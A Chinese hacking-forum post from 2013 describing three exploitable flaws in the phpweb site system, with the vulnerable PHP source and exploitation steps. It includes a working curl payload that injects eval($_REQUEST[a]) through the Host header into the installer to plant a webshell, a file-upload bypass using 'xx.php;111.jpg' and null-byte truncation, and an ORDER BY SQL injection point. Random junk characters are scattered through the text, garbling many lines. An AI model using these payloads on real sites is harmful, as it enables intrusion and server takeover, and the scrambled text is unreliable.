找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2393|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
, n9 m- R) \4 D# H
1 v  z1 S) n1 U2 }1 Q7 |( f' K之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码" \% D5 t2 t3 P( d2 r
6 r& `8 `  f" j
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件1 m9 C' s, K! x  V$ L
鸡肋2: 有一定安全常识的站长都会删掉 install 目录9 V, _* O. O6 a4 ]& _
' b+ F! h4 O9 T& n. s: V8 \2 P
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响1 W# l6 J/ n& ^+ k& T5 e+ N
) l; L4 r% ~3 R
分析:
/ A3 A0 E" J  s6 v" u. @) v
4 P- H* u0 W9 Q! u1 ^ 3 D  @. s; [# f* {# c2 [
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤3 y& e& E4 G* _. T0 ]- y  x
* z2 W' U5 Z! j/ X9 r+ |8 }
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);/ l, H! o, a: h0 A2 ]  R1 s6 r: w
                                            $filestr=str_replace(" ","",$filestr);5 f- h: U% h3 C! H2 r
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);6 a7 T: `7 u, Y* o- I" \# F
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);( p  s2 x) A& k& [% Q% t
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
) _* a( i* T5 A* B5 X! F                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);: w: {) Z$ Q2 ^4 ?, ~
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);) K- @( N+ d# a% I* Z; W
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
5 b  K7 R! b. ~6 E* N2 V3 @                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);& ]' @, d" ^) L* c, h2 z6 @; f  U8 L
. v9 p3 \4 H2 i2 O
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);) G) R' d% J) U  `
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^4 M; s8 C8 m5 ]# Q( ]. N

1 M; _3 V* h0 q" H$ xpoc:
& Q; X7 L2 O+ u3 A # T0 n- U3 G* b. S6 S/ d7 |
?
( C% S8 l, q/ Z. m$ _1$ U; Y% F; @, |( k
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
$ B& g; s& N7 `* g% N. O# x8 `) Zshell地址: /config.inc.php
- L/ `7 l) ~) G0 {. @( w; o1 A跟之前的 phpcms一样 需要远程数据库' V5 q5 L9 ]$ B9 z

& S7 X# B; z7 R$ F4 C: Q3 H( |——————————————————–
7 E7 c* Y. R' i2 w# T7 {7 H上传漏洞(需要进后台):% a8 M( O  ?( M/ T7 D, N
漏洞文件: /kedit/upload_cgi/upload.php; }# x6 P, S& z1 G, `: R
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ G: |  @  O: {
" f5 u4 t. n  `# y7 b5 [2 `
# |1 C  x: N( g( o<?php
( y, R/ @1 O9 p( x2 M  F    define("ROOTPATH", "../../");
6 b7 }& y# Y+ l    include(ROOTPATH."includes/admin.inc.php");
' ]$ F# w2 o3 D$ h3 ?    NeedAuth(0);
& j; d4 F; G6 d- M  G* g- o5 s( @
1 G, R$ k- }0 v5 e7 f6 ~0 _1 n    $dt=date("Ymd",time());
) R' E: B7 O- ]! c+ E/ V5 {1 ^* }    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
0 A7 _; f* t# {. r            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
. J& S8 Z: q+ y    }; b. P# g5 Y; U/ U5 I# }" w
3 v$ t. f4 ]2 r) h
    //文件保存目录路径
# G* b; S3 [5 Y+ o$ A! U' y    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';$ Z7 x4 z/ T$ A/ ]2 ]1 T
    echo $save_path;
5 Z, c7 t7 Z& l, \9 l; x- q+ P* b; s    //文件保存目录URL( h1 i, G; @% F& g1 r( A4 Y
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
; V1 E1 F" H+ |1 x
8 T% z( V, l1 C4 h    //定义允许上传的文件扩展名$ D! G0 K( s4 e/ g5 W, x* u/ d
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀/ v; N8 x8 p+ V0 B- E7 x' e

. @3 s; |; h7 L; M! R    //最大文件大小
- V9 q2 d7 D; z, x8 w    $max_size = 1000000;4 q1 L4 t! M7 D+ v. z) q9 ~9 F

1 H  @4 U% S% P0 Y. e/ V/ r    //更改目录权限
# V! p. ]7 B% p$ U) W    @mkdir($save_path, 0777);- U, ?8 S$ p/ J

8 C4 X4 E6 \2 [1 L: P    //文件的全部路径/ o8 f( v' f+ \" |7 {( Y# ^2 a, l
    $file_path = $save_path.$_POST['fileName'];   //保存文件名1 ]1 L, }& x  Q6 _0 K$ j1 C
& z: Z5 Y: G2 R7 o9 ^
    //文件URL# {$ f0 ~+ g+ v% g# I
    $file_url = $save_url.$_POST['fileName'];! _; X& n3 n+ j7 a* s8 G0 B( @
//有上传文件时
' O; D% j6 n' R# O- Z5 _: s, E    if (empty($_FILES) === false) {' o  P- Q* L4 F+ x2 h
8 P' u9 [) }% w& e
            //原文件名
+ \6 c; T1 F, [/ j" A. W            $file_name = $_FILES['fileData']['name'];
1 O8 ^" D+ ?( f/ S            //服务器上临时文件名
  n  x2 W3 [+ U. q* Y            $tmp_name = $_FILES['fileData']['tmp_name'];
) }) n/ |" Q; G+ N" r; w            //文件大小( L% I/ l' |0 i4 v# U) h3 k
            $file_size = $_FILES['fileData']['size'];; Q$ r( ~4 L3 ]9 F8 L! Q( ~9 ~
            //检查目录0 D3 l1 J) |0 l7 V! C
            if (@is_dir($save_path) === false) {$ p& u4 x$ _/ w5 y& H8 g
                    alert("上传目录不存在。");
5 t; J3 w+ |1 o5 K: H! w/ y: y            }
0 I0 A5 @' J" [" B! ^            //检查目录写权限# i4 y- ]0 @. j/ i
            if (@is_writable($save_path) === false) {% B+ O0 A5 }" A; c1 B& C
                    alert("上传目录没有写权限。");
* P  |4 l) n3 Y  n, d" B" d            }
3 w! G1 r6 Z# F$ T+ |            //检查是否已上传
! m1 }8 R+ _, c) j- N            if (@is_uploaded_file($tmp_name) === false) {
* u/ N( [- {' j                    alert("临时文件可能不是上传文件。");
1 Z3 h% y, H' p' k  R# t) e            }
' @5 j3 Y% A1 G            //检查文件大小* k4 \% b) l6 y
            if ($file_size > $max_size) {
/ b, j7 v; R* n- [# M; \* V. O                    alert("上传文件大小超过限制。");5 A- l6 I. C" U1 Q3 Z( P8 J. s+ d% k
            }
4 h: S$ `4 L  m# m% b4 A            //获得文件扩展名
4 E2 F' j* c  K$ `( [            $temp_arr = explode(".", $_POST['fileName']);% ^- S% P; y4 T+ o# ]0 h4 k( C( O
            $file_ext = array_pop($temp_arr);
4 B( n) g( Y* D/ P, v1 f            $file_ext = trim($file_ext);
7 ^4 I. }# \" V& q, n7 l: [6 o" M            $file_ext = strtolower($file_ext);
4 H+ w, u8 X0 `' p% ^
& _1 b6 `+ o; q            //检查扩展名   - ^* y* {0 @  S1 R7 `7 G* {
            if (in_array($file_ext, $ext_arr) === false) {     5 |' ]" X% J2 |( B
                    alert("上传文件扩展名是不允许的扩展名。");
9 H, r+ Q; d5 F* p& }            }
& d6 v$ H. s3 @6 I' ] , v% ?# V6 S4 L1 R+ \- E% M% C
            //移动文件   * S% T8 \/ Z+ V/ `4 k# F
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^  H% D: m& m: F( K
            if (move_uploaded_file($tmp_name, $file_path) === false) {/ p& w$ W, V: K" M
                    alert("上传文件失败。");% N# t, T; V1 q( }- o% B. f' r
            }
& j6 y0 r6 v1 i- C% h+ l % D: O) B- M5 I4 L1 e! ]; s8 M+ ^9 |
            @chmod($file_path,0666);
; e+ C9 D( X9 E' i/ n" a / z8 h: x' c# ^. k) K" L
    ?>; N3 ^/ s4 Z" m5 O" M+ v& i
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
+ G* s8 u  \& A0 V- F
6 @2 H& }6 U' Oapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 d3 m8 ^+ r! l1 d) F3 {
" _5 i6 x6 L0 ]) \! W0 t* K——————————————————9 {) r" n( c' ]! R7 Y
注入漏洞:* b# w9 X( V$ g" f3 V0 S
漏洞文件:search/module/search.php7 _: {3 S4 D: S
/search/index.php?key=1&myord=1 [sqlinjection]6 X& X7 @0 Z- q1 H& C# }1 C

  Y9 R; W+ ?; i- i 9 u7 R8 F( P8 x+ h
<?php
: u% w8 n" ?: E9 c% o0 D   //       ... 省略 n 行...# x9 e) ?8 P3 y1 d5 [5 ~  }8 A1 A
   //第18行:
( Q: N$ O9 e+ `. @           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响# M+ T( F/ }) q3 B6 g1 z
           $page=htmlspecialchars($_GET["page"]);: s+ e6 z3 v: `
           $myord=htmlspecialchars($_GET["myord"]);
& n& F- Y3 @6 u% X9 B
# L- Q( o& s7 s. D) `8 _   //       ... 省略 n 行...4 r3 l. Y+ `, Y
   $key,$myord 两个参数带入查询) g' A: h$ L6 I; @! [2 W
   //第47行 $key:
0 v/ W  ]( K/ j7 n, m # r5 N( [, O3 r  I/ h0 K9 e
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..( v7 h: D$ j: x  B* T! N" Y8 m
' n! a) \9 W) i& B# U' F* R7 w; u
   //第197行 $myord5 z; @& N- J7 c' _7 v/ M
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入9 I+ S6 R3 H0 B; e, j& a
- t+ H# r  W( b' `0 f$ @1 E# N
   ?>: {# C& F( P. a2 e( m+ Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表